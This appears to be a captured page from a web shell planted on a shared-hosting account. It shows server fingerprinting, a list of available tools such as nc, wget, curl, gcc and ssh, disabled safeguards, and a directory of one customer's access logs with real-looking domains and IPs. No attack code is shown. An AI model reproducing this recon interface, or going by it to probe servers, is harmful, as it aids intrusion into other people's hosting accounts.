| Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 |
| LiteSpeed |
| 198.54.126.34 | Your IP: 216.73.216.59 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-x--- ] |
| / home / aurizply / access-logs / |
| Operating System | : | Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 |
| User / Group | : | 1560[aurizply] / 1543[aurizply] |
| PHP Version | : | 7.4.33 |
| IP Server | : | 198.54.126.34 |
| Your IP | : | 216.73.216.59 |
| Storage | : | Total = 543.66 GB, Free = 68.01 GB [12%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : ON | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | root/aurizply | drwxr-x--- | 2026-04-05 12:07:07 | |
| .. | dir | - | root/wheel | drwx--x--x | 2026-04-05 03:27:03 | |
| agriman.tech.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-12-17 12:07:43 | |
| agriman.tech.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2026-04-02 12:06:54 | |
| akwaabanews.com.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-09-12 12:10:17 | |
| aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-03-12 02:24:37 | |
| basimbu.com.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-06-19 12:14:37 | |
| basimbu.com.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-11-27 12:05:00 | |
| beitgh.com.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-06-19 12:14:37 | |
| beitgh.com.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-05-26 12:12:44 | |
| crabbe.xyz.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-03-12 02:24:37 | |
| cscsghana.com.aurixmedia.com | text/plain | 1.19 KB | root/aurizply | -rw-r----- | 2026-04-05 03:17:08 | |
| cscsghana.com.aurixmedia.com-ssl_log | text/plain | 379.99 KB | root/aurizply | -rw-r----- | 2026-04-05 03:27:13 | |
| dezyngene.com.aurixmedia.com | text/plain | 565 B | root/aurizply | -rw-r----- | 2026-04-05 02:41:00 | |
| dezyngene.com.aurixmedia.com-ssl_log | text/plain | 272.38 KB | root/aurizply | -rw-r----- | 2026-04-05 03:26:28 | |
| enclavegarden.com.aurixmedia.com | text/plain | 112.21 KB | root/aurizply | -rw-r----- | 2026-04-05 03:27:11 | |
| enclavegarden.com.aurixmedia.com-ssl_log | text/plain | 9.04 MB | root/aurizply | -rw-r----- | 2026-04-05 03:27:23 | |
| icebucketgh.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-03-12 02:24:37 | |
| johnrhoderick.beitgh.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-12-03 12:13:55 | |
| johnrhoderick.beitgh.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-12-03 12:13:55 | |
| netghana.xyz.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-03-12 02:24:37 | |
| new.enclavegarden.com | text/plain | 447 B | root/aurizply | -rw-r----- | 2026-04-05 02:24:17 | |
| new.enclavegarden.com-ssl_log | text/plain | 608 B | root/aurizply | -rw-r----- | 2026-04-05 02:41:00 | |
| new.sandton.lol | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-12-11 12:11:14 | |
| new.sandton.lol-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2024-12-11 12:11:14 | |
| new1.sandton.lol | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-06 12:02:29 | |
| new1.sandton.lol-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-08 07:08:05 | |
| sandton.lol.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-08 07:08:05 | |
| sandton.lol.aurixmedia.com-ssl_log | text/plain | 195 B | root/aurizply | -rw-r----- | 2025-09-08 07:13:18 | |
| sandtonandgrey.online.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-08 07:08:05 | |
| sandtonandgrey.online.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-08 07:08:05 | |
| terracottagh.com.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2026-03-08 12:03:33 | |
| terracottagh.com.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-06-08 12:04:45 | |
| tour.beaverghana.com.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-09-02 01:24:47 | |
| tour.beaverghana.com.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-08-26 12:09:34 | |
| twickgh.xyz.aurixmedia.com | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-01-20 12:01:18 | |
| twickgh.xyz.aurixmedia.com-ssl_log | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-04-28 12:11:23 | |
| yh.sandton.lol | application/x-empty | 0 B | root/aurizply | -rw-r----- | 2025-06-09 12:12:57 | |
| yh.sandton.lol-ssl_log | text/plain | 315 B | root/aurizply | -rw-r----- | 2025-06-10 09:40:05 |
© SEC